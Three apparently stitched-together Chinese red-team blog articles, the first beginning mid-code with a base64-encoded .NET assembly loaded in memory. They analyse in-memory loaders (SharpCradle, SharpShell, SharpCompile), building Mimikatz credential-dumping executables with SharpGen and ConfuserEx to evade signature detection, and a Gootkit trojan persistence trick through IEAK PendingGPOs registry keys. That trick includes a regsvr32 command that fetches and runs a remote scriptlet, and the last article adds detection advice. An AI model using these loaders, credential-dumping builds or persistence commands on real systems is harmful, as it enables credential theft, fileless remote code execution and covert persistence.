AMAAAADgACAABAEEAcwBzAGUAbQBiAGwAeQAgAFYAZQByAHMAaQBvAG4AAAAwAC4AMAAuADAALgAwAAAAAAAAAO+7vzw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IlVURi04IiBzdGFuZGFsb25lPSJ5ZXMiPz4NCjxhc3NlbWJseSB4bWxucz0idXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTphc20udjEiIG1hbmlmZXN0VmVyc2lvbj0iMS4wIj4NCiAgPGFzc2VtYmx5SWRlbnRpdHkgdmVyc2lvbj0iMS4wLjAuMCIgbmFtZT0iTXlBcHBsaWNhdGlvbi5hcHAiLz4NCiAgPHRydXN0SW5mbyB4bWxucz0idXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTphc20udjIiPg0KICAgIDxzZWN1cml0eT4NCiAgICAgIDxyZXF1ZXN0ZWRQcml2aWxlZ2VzIHhtbG5zPSJ1cm46c2NoZW1hcy1taWNyb3NvZnQtY29tOmFzbS52MyI+DQogICAgICAgIDxyZXF1ZXN0ZWRFeGVjdXRpb25MZXZlbCBsZXZlbD0iYXNJbnZva2VyIiB1aUFjY2Vzcz0iZmFsc2UiLz4NCiAgICAgIDwvcmVxdWVzdGVkUHJpdmlsZWdlcz4NCiAgICA8L3NlY3VyaXR5Pg0KICA8L3RydXN0SW5mbz4NCjwvYXNzZW1ibHk+DQoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAADAAAAIA0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==";
            byte[] buffer = Convert.FromBase64String(base64str);

            Assembly assembly = Assembly.Load(buffer);          
            Type type = assembly.GetType("TestApplication.aaa");
            MethodInfo method = type.GetMethod("bbb");
            Object obj = assembly.CreateInstance(method.Name);            
            method.Invoke(obj, null);
        }
    }
}

0x03 SharpCradle的利用分析

https://github.com/anthemtotheego/SharpCradle

SharpCradle支持从Web或文件共享下载二进制文件并在内存中加载。

注:这里需要在远程服务器上保存编译后的二进制文件。

SharpCradle的代码很清晰直观,这里提取出调用Assembly.Load()的相关代码,内容如下:

        public static void loadAssembly(byte[] bin, object[] commands)
        {
            Assembly a = Assembly.Load(bin);
            try
            {       
                a.EntryPoint.Invoke(null, new object[] { commands });
            }
            catch
            {
                MethodInfo method = a.EntryPoint;
                if (method != null)
                {
                    object o = a.CreateInstance(method.Name);                    
                    method.Invoke(o, null);
                }
            }//End try/catch            
        }//End loadAssembly

值得注意的是MethodInfo method = a.EntryPoint;,表示调用的为入口函数

也就是说,被加载的程序集的主要功能要写在Main函数中,例如0x02中的示例代码:

using System;
namespace TestApplication
{
	public class Program
	{
    		public static void Main()
    		{
        		Console.WriteLine("Main");
    		}
	}
	public class aaa
	{
    		public static void bbb()
    		{
        		System.Diagnostics.Process p = new System.Diagnostics.Process();
        		p.StartInfo.FileName = "c:\\windows\\system32\\calc.exe";
        		p.Start();
    		}
	}
}

使用SharpCradle对其进行远程下载执行时,默认只会执行Main函数中的内容。

0x04 SharpShell的利用分析

https://github.com/cobbr/SharpShell

SharpShell能够利用Rosyln C#编译器快速交叉编译.NET Framework控制台应用程序或库

注:这里只需要代码文件,不需要编译后的二进制文件。

SharpShell包括以下三个子工程:

(1)SharpShell

使用Rosyln C#编译器对输入的代码进行编译,通过内存加载后返回执行的结果。

由于Roslyn只能在.NET Core或.NET 4.6+使用,不支持.NET 3.5和.NET 4.0

所以这里的SharpShell需要.NET 4.6+的环境才能运行。

注:在我的测试环境中,.NET 4.5也可以运行,如下图:

Alt text

(2)SharpShell.API

SharpShell.API需要.NET Core的开发环境,这里可以参考之前的文章《SharpGen利用分析》中SharpGen的开发环境配置。

SharpShell.API使用ASP.NET Core 2.1调用Roslyn,作为http server,接收从SharpShell.API.SharpShell传来的代码,进行编译后回传生成的二进制文件。

(3)SharpShell.API.SharpShell

SharpShell.API.SharpShell可在.NET 3.5和.NET 4.0使用,将代码文件以POST形式发送到http server,接收编译后的二进制文件,通过内存加载后返回执行的结果。

这里只介绍同Assembly.Load()相关的工程SharpShell.API和SharpShell.API.SharpShell。

1.测试环境搭建

(1)SharpShell.API

需要.NET Core的开发环境

git clone https://github.com/cobbr/SharpShell
cd .\SharpShell\SharpShell.API
dotnet build --configuration Release
cd .\bin\Release\netcoreapp2.1
dotnet SharpShell.API.dll

启动SharpShell.API后,访问:http://127.0.0.1:5000/swagger/index.html

如下图:

Alt text

(2)SharpShell.API.SharpShell

需要Visual Studio的开发环境,编译后生成文件SharpShell.API.SharpShell.exe

启动后输入测试命令Shell.ShellExecute("whoami");

如下图:

Alt text

2.实现流程

这里我使用wireshark抓取整个过程的通信数据,较为直观,如下图:

Alt text

流程如下:

(1)SharpShell.API.SharpShell发送POST请求。

(2)SharpShell.API接收POST请求后,回复确认消息HTTP/1.1 100 Continue。

(3)SharpShell.API.SharpShell发送JSON格式的代码文件。

(4)SharpShell.API接收代码文件,使用Rosyln C#编译器对代码文件进行编译,将生成的内容以base64的形式回复。

(5)SharpShell.API.SharpShell将接收到的回复内容作base64解密,调用Assembly.Load()进行加载。

综上,SharpShell.API.SharpShell也是调用了Assembly.Load()从内存中加载.NET程序集,同SharpCradle的区别如下:

SharpCradle需要在远程服务器上保存编译后的二进制文件。

SharpShell只需要向远程服务器发送代码文件,不需要编译后的二进制文件。

0x05 SharpCompile的利用分析

https://github.com/SpiderLabs/SharpCompile

SharpCompile包括以下两部分:

(1)SharpCompileServer

作为http server,用来接收POST请求传来的代码,进行编译后回传生成的二进制文件。

这里使用csc.exe编译代码,而不是SharpShell中的Rosyln C#编译器。

默认csc.exe版本:C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\csc.exe

注:这里需要注意http server和本地.NET的版本是否一致。

(2)SharpCompile.cna

Cobalt Strike的脚本文件,在使用前需要先指定http server的url和脚本文件保存的位置。

默认使用curl将代码文件上传到http server,所以测试环境需要提前安装curl。

1.实际测试

(1)开启http server

SharpCompileServer需要Visual Studio的开发环境,编译后生成文件SharpCompileServer.exe

执行SharpCompileServer.exe,开启http server,如下图:

Alt text

(2)http server的功能测试

向http server发送POST格式的代码,查看返回的内容。

test.cs保存代码文件,内容如下:

using System;
namespace TestCalc
{
    class Hello
    {
        static void Main(string[] args)
        {
            System.Diagnostics.Process.Start("calc.exe");
        }
    }
}

这里分别使用powershell和curl命令进行测试。

(1)powershell

Invoke-RestMethod -Uri http://192.168.112.175 -Method Post -InFile .\test.cs -OutFile .\out.exe

以上命令会读取test.cs中的内容,发送至http server(http://192.168.112.175),将返回的文件保存为out.exe

注:Invoke-RestMethod命令需要Powershell v3.0

(2)curl

curl --request POST --data-binary @test.cs -o out.exe http://192.168.112.175 -v

以上命令会读取test.cs中的内容,发送至http server(http://192.168.112.175),将返回的文件保存为out.exe

这里使用wireshark抓取整个过程的通信数据,如下图:

Alt text

(3)SharpCompile.cna测试

在我的测试环境下,SharpCompile.cna中的exec(@command);命令无法执行,所以无法复现SharpCompile.cna的功能。

2.实现流程

但是SharpCompile.cna的代码逻辑比较直观,实现流程如下:

1.调用curl命令将代码文件以post的形式发送至http server,接收内容并保存在本地

2.执行文件

3.删除文件

SharpCompile没有使用Assembly.Load()从内存中加载.NET程序集,而是保存在硬盘执行后删除。

这里可以对其进一步修改,使用Assembly.Load()从内存中加载.NET程序集。

0x06 三个开源工程的比较和利用思路

SharpCradle需要在远程服务器上保存提前编译好的二进制文件,下载后使用Assembly.Load()从内存中加载.NET程序集。

SharpShell.API.SharpShell向远程服务器发送代码文件,服务器使用Rosyln C#编译器生成二进制文件,下载后使用Assembly.Load()从内存中加载.NET程序集。

SharpCompile向远程服务器发送代码文件,服务器使用csc.exe生成二进制文件,下载到本地后直接执行。

功能最为完整的是SharpShell.API.SharpShell,优点如下:

· 整个过程在内存执行,不写入文件系统

· 可生成指定.NET版本的二进制文件

· 仅需要c#格式的payload,当然也可以使用编译好的二进制文件(只能是.NET程序集)

在利用思路上,Assembly.Load同execute-assembly类似,区别在于payload的格式不同。

0x07 小结

本文介绍了Assembly.Load的实现方法,结合三个开源工程SharpCradle、SharpShell和SharpCompile,分析细节,总结利用思路。

0x00 前言

SharpGen是我认为特别棒的一个工具,它能够用来对其他.Net程序集进行整合、重组并加密,二次编译后可生成一个全新的工具。

本文将要研究SharpGen的细节,介绍调用其他开源库的详细方法,分析利用思路。

参考链接:

https://github.com/cobbr/SharpGen

https://cobbr.io/SharpGen.html

0x01 简介

本文将要介绍以下内容:

· .NET Core开发环境搭建

· 功能介绍

· 调用其他开源库的方法

· 利用思路

0x02 .NET Core开发环境搭建

SharpGen使用.NET Core,优点是支持多平台(Linux,MacOS和Windows)。

编程语言使用C#,利用Rosyln编译.NET Framework控制台应用程序或库。

注:Rosyln是一个.NET编译器平台,通过Scripting API,能够对脚本文件进行动态编译。

测试系统:Win7x64

我在测试系统选择安装.NET Core 2.2.0、ASP.NET Core 2.2.0和SDK 2.2.101,这是为了兼容另一个工具Covenant

对应版本的下载链接如下:

https://dotnet.microsoft.com/download/thank-you/dotnet-sdk-2.2.101-windows-x64-installer

https://dotnet.microsoft.com/download/thank-you/dotnet-runtime-2.2.0-windows-x64-installer

https://dotnet.microsoft.com/download/thank-you/dotnet-runtime-2.2.0-windows-x64-asp.net-core-runtime-installer

安装Git for Windows,下载链接如下:

https://github.com/git-for-windows/git/releases/download/v2.23.0.windows.1/Git-2.23.0-64-bit.exe

下载安装并编译SharpGen:

git clone https://github.com/cobbr/SharpGen
cd SharpGen
dotnet build --configuration Release

0x03 基本功能介绍

SharpGen默认集成了SharpSploit,能够直接调用其中的功能。

参数说明:

Options:
  -? | -h | --help                                     Show help information
  -f | --file <OUTPUT_FILE>                            The output file to write to.
  -d | --dotnet | --dotnet-framework <DOTNET_VERSION>  The Dotnet Framework version to target (net35 or net40).
  -o | --output-kind <OUTPUT_KIND>                     The OutputKind to use (console or dll).
  -p | --platform <PLATFORM>                           The Platform to use (AnyCpy, x86, or x64).
  -n | --no-optimization                               Don't use source code optimization.
  -a | --assembly-name <ASSEMBLY_NAME>                 The name of the assembly to be generated.
  -s | --source-file <SOURCE_FILE>                     The source code to compile.
  -c | --class-name <CLASS_NAME>                       The name of the class to be generated.
  --confuse <CONFUSEREX_PROJECT_FILE>                  The ConfuserEx ProjectFile configuration.

1.对单行代码进行编译

命令如下:

dotnet bin/Release/netcoreapp2.1/SharpGen.dll -f example.exe "Console.WriteLine(Mimikatz.LogonPasswords());"

执行过程显示自动补齐的编译代码,如下图:

Alt text

值得注意的是其中的随机类名ohq8r7eQ1qK,每次生成文件时使用的类名均会改变。

注:如果想指定类名,可以加入**-c**参数,示例如下:

dotnet bin/Release/netcoreapp2.1/SharpGen.dll -c abcde12345 -f example.exe "Console.WriteLine(Mimikatz.LogonPasswords());"

命令执行后生成example.exe,example.exe会调用Mimikatz的sekurlsa::logonpasswords命令。

2.对完整代码文件进行编译

example.txt的内容如下:

using System;
using SharpSploit.Execution;
using SharpSploit.Credentials;

class Program
{
    static void Main()
    {
        Console.WriteLine(Mimikatz.LogonPasswords());
        return;
    }
}

命令如下:

dotnet bin/Release/netcoreapp2.1/SharpGen.dll -f example.exe --source-file example.txt

执行过程显示编译代码,如下图:

Alt text

由于指定了类名为Program,所以不再具有随机类名的功能。

注:SharpGen使用了Rosyln进行动态编译,每次生成的文件hash都会不一样。

0x04 高级功能

1.缩小生成文件的体积

(1)取消对指定dll的引用

编辑文件SharpGen/References/references.yml

此处的dll通常为C#程序使用的引用文件。

不需要的dll名称属性由Enabled: true改为Enabled: false

(2)取消对指定dll的引用

编辑文件SharpGen/Resources/resources.yml

此处的dll为实现mimikatz的功能。

不需要的dll名称属性由Enabled: true改为Enabled: false

注:

· powerkatz_x64.dll为64位的mimikatz

· powerkatz_x64.dll.comp为使用System.IO.Compression库压缩后的64位的mimikatz

· powerkatz_x86.dll为32位的mimikatz

· powerkatz_x86.dll.comp为使用System.IO.Compression库压缩后的32位的mimikatz

(3)使用ConfuserEx资源保护

ConfuserEx资源保护会对资源进行加密和LZMA压缩。

示例命令如下:

dotnet bin/Release/netcoreapp2.1/SharpGen.dll -f example.exe --confuse confuse.cr "Console.WriteLine(Mimikatz.LogonPasswords());"

2.调用其他开源库

参考资料中未介绍这部分内容,这里给出我的解决方法。

这里给出两个示例,一个是开源的SharpWMI,另一个是我自己编写的模板SharpTest。

1.添加对SharpWMI的调用

(1)将SharpWMI源码复制到SharpGen/Source

(2)修改SharpGen/SharpGen.csproj

ItemGroup标签中添加<Compile Remove="Source\SharpWMI\Program.cs" />

否则在编译SharpGen时会报错提示:

Source\SharpWMI\Program.cs(3,14): error CS0234: The type or namespace name 'Management' does not exist in the namespace 'System' (are you missing an assembly reference?)

(3)修改SharpWMI的源代码

只保留Program.cs,删除其中的Main函数并且将Program.cs中的每个静态方法改为公共方法

例如:static void LocalWMIQuery(string wmiQuery, string wmiNameSpace = "")需要修改为public static void LocalWMIQuery(string wmiQuery, string wmiNameSpace = "")

(4)重新编译SharpGen

命令如下:

dotnet build --configuration Release

(5)调用测试

example.txt的功能为调用SharpWMI中的LocalWMIQuery方法查询win32_ComputerSystem,内容如下:

SharpWMI.Program.LocalWMIQuery("select * from win32_ComputerSystem");
Console.WriteLine(Host.GetProcessList());

SharpGen的命令如下:

dotnet bin/Release/netcoreapp2.1/SharpGen.dll -f example.exe --source-file example.txt

生成example.ex并执行,调用成功,如下图:

Alt text

2.添加自己编写的C#模板

命名为SharpTest,功能为接收参数并在命令行输出。

(1)新建文件夹SharpTest,其中新建文件Program.cs,内容如下:

using System;
using System.Collections.Generic;
using System.Management;
namespace SharpTest
{
    class Program
    {
        public static void TestMethod(string string1)
        {
            Console.WriteLine(string1);
        }
    }
}

(2)修改SharpGen/SharpGen.csproj

ItemGroup标签中添加<Compile Remove="Source\SharpTest\Program.cs" />

(3)重新编译SharpGen

命令如下:

dotnet build --configuration Release

(4)调用测试

example.txt的功能为调用SharpTest中的TestMethod方法,参数为123456,内容如下:

SharpTest.Program.TestMethod("123456");

SharpGen的命令如下:

dotnet bin/Release/netcoreapp2.1/SharpGen.dll -f example.exe --source-file example.txt

生成example.exe并执行,调用成功,如下图:

Alt text

为了便于测试,我已经fork了cobbr的SharpGen,添加了对SharpWMI和SharpTest的调用,地址如下:

https://github.com/3gstudent/SharpGen

3.资源保护

使用新版的ConfuserEx能够对编译后的文件资源进行保护,地址如下:

https://github.com/mkaring/ConfuserEx

旧版的ConfuserEx不再进行维护,地址如下:

https://github.com/yck1509/ConfuserEx

调用命令示例:

dotnet bin/Release/netcoreapp2.1/SharpGen.dll -f example.exe --confuse confuse.cr "Console.WriteLine(Mimikatz.LogonPasswords());"

对应使用的配置文件为SharpGen/confuse.cr

默认配置为对资源执行加密和LZMA压缩。

ConfuserEx还支持其他保护功能:

· Anti Debug Protection

· Anti Dump Protection

· Anti IL Dasm Protection

· Anti Tamper Protection

· Constants Protection

· Control Flow Protection

· Invalid Metadata Protection

· Name Protection

· Reference Proxy Protection

· Resources Protection

只需要去掉SharpGen/confuse.cr中对应的注释即可。

例如添加anti debug功能,配置文件confuse.cr的内容如下:

<project baseDir="{0}" outputDir="{1}" xmlns="http://confuser.codeplex.com">
    <module path="{2}">
      <rule pattern="true" inherit="false">
         <!-- <protection id="anti debug" />       -->
         <!-- <protection id="anti dump" />        -->
         <!-- <protection id="anti ildasm" />      -->
         <!-- <protection id="anti tamper" />      -->
         <!-- <protection id="constants" />        -->
         <!-- <protection id="ctrl flow" />        -->
         <!-- <protection id="invalid metadata" /> -->
         <!-- <protection id="ref proxy" />        -->
         <!-- <protection id="rename" />           -->
         <protection id="resources" />
         <protection id="anti debug" />
      </rule>
    </module>
</project>

4.补充:禁用优化

SharpGen在编译期间会对源代码进行优化,可通过–no-optimization参数来禁用优化,这将导致增加生成文件的大小。

0x05 利用分析

SharpGen可以作为.Net程序集重新包装的平台,具有如下优点:

· 使用.NET Core平台和Roslyn进行动态编译,开发代码时可选择多平台(Linux,MacOS和Windows)

· 可调用其他开源库,实现功能的定制,最后将其封装成单独的一个exe文件或dll文件

· 使用ConfuserEx对资源进行加密和压缩,避免对特征码的检测

· 生成的文件支持.Net3.5和.Net 4.0

· 生成的文件支持x86和x64

更进一步,使用SharpGen能够快速的将.Net程序集形式的POC转换成EXP。

0x06 小结

本文介绍了SharpGen的功能,分享了我实现调用其他开源库的方法,分析SharpGen的优点。

0x00 前言

Gootkit Banking Trojan在2014年被首次发现,最近Daniel Bunce(@ 0verfl0w_)介绍了一些对于Gootkit Banking Trojan的分析,文章地址如下:

https://www.sentinelone.com/blog/gootkit-banking-trojan-persistence-other-capabilities/

其中,Gootkit Banking Trojan使用的后门启动方法是独有的,所以本文仅在技术研究的角度复现Gootkit Banking Trojan使用的后门启动方法,分析利用思路,给出防御和检测的建议。

0x01 简介

本文将要介绍以下内容:

· 原理介绍

· inf文件的基础知识

· 复现后门启动方法

· 分析利用方法

· 检测和防御建议

0x02 原理介绍

explorer.exe在运行时会加载特定的组策略对象(GPO),其中包括Internet Explorer Administration Kit(IEAK)的GPO。

如果通过添加注册表的方式为IKAK创建一个Pending GPO,指向一个inf文件,那么在explorer.exe启动时,就会加载这个Pending GPO,执行inf文件中的内容。

这个方法的优点是不需要管理员权限。

0x03 inf文件的基础知识

inf全称Device INFormation File,是Microsoft为硬件设备制造商发布其驱动程序推出的一种文件格式。

对大小写不敏感。

文件格式:

由多个节组成,节名用方括号括起来。

值得注意的节:

1.Version节

inf文件都包含这个节,用来描述支持的设备类型和适用的操作系统。

signature="$CHICAGO$表示该inf文件适用于Windows98之后的所有操作系统。

signature="$Windows NT$"表示该inf文件适用于Windows 2000/XP/2003操作系统。

2.DefaultInstall节

默认情况下首先执行该节内的内容,通常包括文件拷贝、删除,注册表键值的更新,子键删除等功能,还支持执行命令:

· RunPreSetupCommands,本节中指定的命令在安装服务配置文件之前运行

· RunPostSetupCommands,本节中指定的命令在安装程序完成服务配置文件后运行

· RunPreUnInstCommands,本节中指定的命令在卸载程序开始之前运行

· RunPostUnInstCommands,本节中指定的命令在卸载程序运行后运行

参考资料:

https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc939869(v=technet.10)#information-inf-file-entries

例如一个分别执行cmd命令和弹出计算器的test.inf文件示例:

[Version]
Signature="$CHICAGO$"
AdvancedINF=2.5,"advpack.dll"
[DefaultInstall]
RunPreSetupCommands=Command1
RunPostSetupCommands=Command2
[Command1]
C:\WINDOWS\SYSTEM32\calc.exe
[Command2]
C:\WINDOWS\SYSTEM32\cmd.exe

命令行下的启动方式:

rundll32.exe advpack.dll,LaunchINFSection test.inf,DefaultInstall

执行后先弹出计算器,关闭计算器后,再弹出cmd.exe。

0x04 后门启动方法复现

1.使用测试程序putty.exe,保存位置: c:\test\putty.exe

2.新建putty.inf,内容如下:

[Version]
Signature="$CHICAGO$"
AdvancedINF=2.5,"You need a new version of advpack.dll"

[DefaultInstall]
RunPreSetupCommands=Command1:2
[Command1]
c:\test\putty.exe

3.新建注册表项

· HKEY_CURRENT_USER\Software\Microsoft\Ieak\GroupPolicy\PendingGPOs,Count, REG_DWORD,1

· HKEY_CURRENT_USER\Software\Microsoft\Ieak\GroupPolicy\PendingGPOs,Path1,REG_SZ,"c:\test\test.inf"

· HKEY_CURRENT_USER\Software\Microsoft\Ieak\GroupPolicy\PendingGPOs,Section1,REG_SZ,"DefaultInstall"

注:原文中Section1的值为[DefaultInstall],经测试,此处存在bug,正确的值应该为DefaultInstall。

注册表设置如下图:

Alt text

4.重启系统

系统启动后执行putty.exe,复现成功。

注:系统重启后该注册表会被清除,为了保证下次重启系统时再次触发后门,需要再次修改注册表,添加对应的键值,可供参考的cmd命令如下:

reg add hkcu\SOFTWARE\Microsoft\IEAK\GroupPolicy\PendingGPOs /v Count /t REG_DWORD /d 1
reg add hkcu\SOFTWARE\Microsoft\IEAK\GroupPolicy\PendingGPOs /v Path1 /t REG_SZ /d "c:\test\test.inf"
reg add hkcu\SOFTWARE\Microsoft\IEAK\GroupPolicy\PendingGPOs /v Section1 /t REG_SZ /d "DefaultInstall"

0x05 方法优化

1.inf文件不需要同要启动的exe文件同名

inf文件名称可以任意,例如test.inf

注:原文描述需要inf文件同exe文件同名。

2.inf文件内容格式不固定

AdvancedINF=2.5,"You need a new version of advpack.dll"可修改为AdvancedINF=2.5,"11111111"

3.inf文件的payload不唯一

还可以实现文件拷贝、删除,注册表键值的更新,子键删除等功能。

如果是执行命令,可以同sct结合实现无文件落地,例如实现远程下载执行的文件内容如下:

[Version]
Signature="$CHICAGO$"
AdvancedINF=2.5,"advpack.dll"
[DefaultInstall]
RunPreSetupCommands=Command1
[Command1]
regsvr32 /u /s /i:https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct scrobj.dll

0x06 利用分析

优点如下:1.不需要管理员权限,只需要普通用户权限即可 2.payload扩展性高,同其他方法结合(如sct)可实现远程下载执行,不需要向硬盘写入文件。

0x07 检测和防御建议

监控注册表位置:HKEY_CURRENT_USER\Software\Microsoft\Ieak\GroupPolicy\PendingGPOs

默认配置下,系统不存在注册表项:HKEY_CURRENT_USER\Software\Microsoft\Ieak\GroupPolicy

注:修改注册表HKEY_LOCAL_MACHINE\Software\Microsoft\Ieak\GroupPolicy\PendingGPOs不会触发这个后门。

0x08 小结

本文复现了Gookit Banking Trojan中的后门启动方法,分析利用思路,给出防御和检测的建议。